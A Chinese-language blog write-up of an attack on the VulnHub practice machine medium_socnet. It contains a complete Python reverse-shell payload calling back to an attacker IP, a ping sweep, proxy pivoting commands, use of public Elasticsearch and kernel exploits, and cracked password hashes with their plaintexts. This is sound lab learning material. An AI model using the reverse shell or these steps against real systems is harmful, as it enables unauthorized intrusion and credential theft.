# medium_socnet 靶机记录
# 前言
最近一段时间各种忙,我又各种懒,最后一科课业答辩结束后突然就闲下来了,突然之间不知道该干什么了,找了一个靶机浅浅的玩一下,这里做一个简单的记录,靶机的下载地址是无聊黑客博客: 社交网络~VulnHub,这个是一个很老的靶机了,所以虽然是中等难度,做起来还是比较轻松的
# 靶机描述
留言是一个新的匿名社交网站,用户可以在其中为彼此发布消息。 他们指派您测试他们的设置。他们确实使用码头工人容器。您也可以对这些进行攻击。尝试看看是否可以在主机上获得 root 权限。
难度:中级
涉及的任务:
- 端口扫描
- 网页应用攻击
- 代码注入
- 旋转
- 开发
- 密码破解
- 暴力破解
虚拟机:
- 格式: 虚拟机 (Virtualbox OVA)
- 操作系统: Linux.
联网:
- DHCP 服务:已启用
- IP 地址自动分配
这在 VirtualBox 而不是 VMware 上效果更好。
# 攻击流程
# 信息收集
这里因为靶机和我的 kali 都使用 nat 模式都在一局域网中,这里直接使用 arp-scan 来进行一个主机发现
当然这里直接使用 nmap 也是可以的
这里可以看到,目标靶机是开启了 22 端口和 5000 端口,接下来使用 - sV 来探测服务和版本信息
这里可以看到这里的 22 端口上就是一个 ssh,且是一个乌班图系统,5000 端口是一个 http 服务,且环境是 python,python 版本是 2.7
这里尝试去访问一下这个 5000 端口,看一下上面运行的一个具体业务
这里测试了一下,发现会将用户的输入都展示到页面上,首先我是怀疑有模版注入,毕竟 python 回显,属于做 ctf 触发关键词了,但是发现并没有经过渲染
这里还处于信息收集的阶段,扫描目录是必不可少的,这里是使用 dirsearch 工具进行一个扫描
这里也是发现了又一个 admin 路由可以访问,这里去访问一下
这里看到这里是一个管理页面,这里是一个代码执行,这里尝试去用 python 反弹一个 shell
import socket,subprocess,os; | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); | |
s.connect(("192.168.10.129",4444)); | |
os.dup2(s.fileno(),0); | |
os.dup2(s.fileno(),1); | |
os.dup2(s.fileno(),2); | |
p=subprocess.call(["/bin/sh","-i"]); |
在 kali 这里监听这个 4444 端口
运行这段代码
这里已经拿到了这个 shell,但是这里可以看到,桌面这里有一个 Dockerfile 文件,这里可能只是在容器内,这里可以通过两个命令去判断一下是不是 docker 容器
ls -a / |grep ".docker*" |
cat /proc/1/cgroup |
这二者都存在的话就可以确定这里拿到的 shell 是 docker 容器中的 shell。
# 内网信息收集
这里他是在 docker 中,我们可以将其视为内网的主机,这里可以看一下 ip 来进行一个常规的探测
先看一下拿到 shell 的这个 docker 的 ip
可以看到这里的 ip 地址是 172.17.0.3,16 位,这里同网段下的 ip 很多,这里用 shell 脚本去探测
for i in $(seq 0 255); do | |
for j in $(seq 1 254); do | |
ping -c 1 172.17.$i.$j | |
done | |
done |
这里可以看到 172.17.0.1,172.17.0.2,172.17.0.3(自身)是存活的,这里接下来就收集一下这三台主机的端口,这里 172 是内网网段想要使用 kali 的工具首先需要做内网穿透来建立一个通道
# 内网穿透
这里我用的是 VenomRelease Venom v1.1.0 · Dliv3/Venom (github.com) 这个工具,这里首先我再 kali 运行服务端 admin 文件监听 9999 端口
接着再 kali 上开启一个 http 服务将客户端传送给靶机
接着在靶机上使用 wget 来将客户端 down 下来
这里运行去连接服务端,注意:这里要给与一个执行权限
这样就成功的与服务端建立了连接
这里进入到这个节点后启动一个 socks 监听 8888 端口
这里去更改配置文件 sudo vim /etc/proxychains4.conf
# 漏洞利用 Elasticsearch
这样就可以开对内网进行扫描了
proxychains nmap -Pn -sT 172.17.0.1 |
这里扫描完成,发现开启的端口也是 22 和 5000,这里也是扫描了一下另一台主机
发现这里只有 5000 端口,这里再通过 nmap 进行一个服务的发现
proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1 |
这里再浏览器上挂上代理,然后去尝试访问一下扫描到的服务,这里可以看到,这台主机和已经拿到 shell 的主机上面服务是一样的
对 9200 端口进行一个服务发现
这里上面是开启了一个 Elasticsearch 服务,版本是 1.4.2,这里也是去网上查询了一下 Elasticsearch 漏洞总结 - 腾讯云开发者社区 - 腾讯云 (tencent.com),这里历史版本漏洞还是比较多的,也可以直接使用 searchsploit 来查找历史漏洞
这里还附带了 exp,这里分别 copy 过来尝试一下
可以看到这里也是拿到了一个 shell,当然了这里拿到的还是一个 docker 容器的权限
但是在其根目录发现了一个 passwords 的文件,这里去查看一下这个文件
可以看到其中存放了用户名和密码,当然这里的密码很显然不是明文存放,这里通过在线网站对哈希进行一个碰撞,这里我碰撞的是这个 admin 的值
这里对所有的文件都进行碰撞,很幸运的是都拿到了结果
john:3f8184a7343664553fcb5337a3138814 1337hack | |
test:861f194e9d6118f3d942a72be3e51749 1234test | |
admin:670c3bbc209a18dde5446e5e6c1f1d5b 1111pass | |
root:b3d34352fc26117979deabdf1b9b6354 1234pass | |
jane:5c158b60ed97c723b673529b8a3cf72b 1234jane |
这里拿到账号密码,尝试去登录靶机
这里用第一组账号密码就可以通过 ssh 连接上,但是经过尝试只有这个账号能够登录上
这里进行尝试没有 sudo,所以这里还需要提权
# 提权
在 ssh 连接上的时候可以发现这里的内核版本是 3.13, 这里还是用 searchsploit 找一下
searchsploit ubuntu 3.13.0 |
这里尝试第一个,cp 到当前目录后,这里因为是 c 源码文件所以要使用 gcc 编译一下
值得注意的是源码中有这样一行
在这里它又去通过 gcc 想去编译一个 c 语言的库文件,但是目标靶机经过查看是没有安装 gcc 的
所以这里就算是我再 kali 上编译好了它也不能直接在目标靶机上运行,这里就需要修改源码,最简单的思路就是将这个库文件一起打包,让源码直接调用这个库文件,而不在编译
这里可以看到我将原有的编译库文件的部分删除,只保留打开文件利用的部分,修改后通过 gcc 编译
这里有报错但是不用管,是能够编译成功的,接着在 kali 上寻找一下缺少的库文件
这里找到这个文件后将这个文件移动到当前目录,然后还是通过 python 开启一个 http 服务,让目标靶机下载这两个文件
下载成功后将两个文件都移动到 tmp 目录下,并且给 exp 一个可执行权限
齐活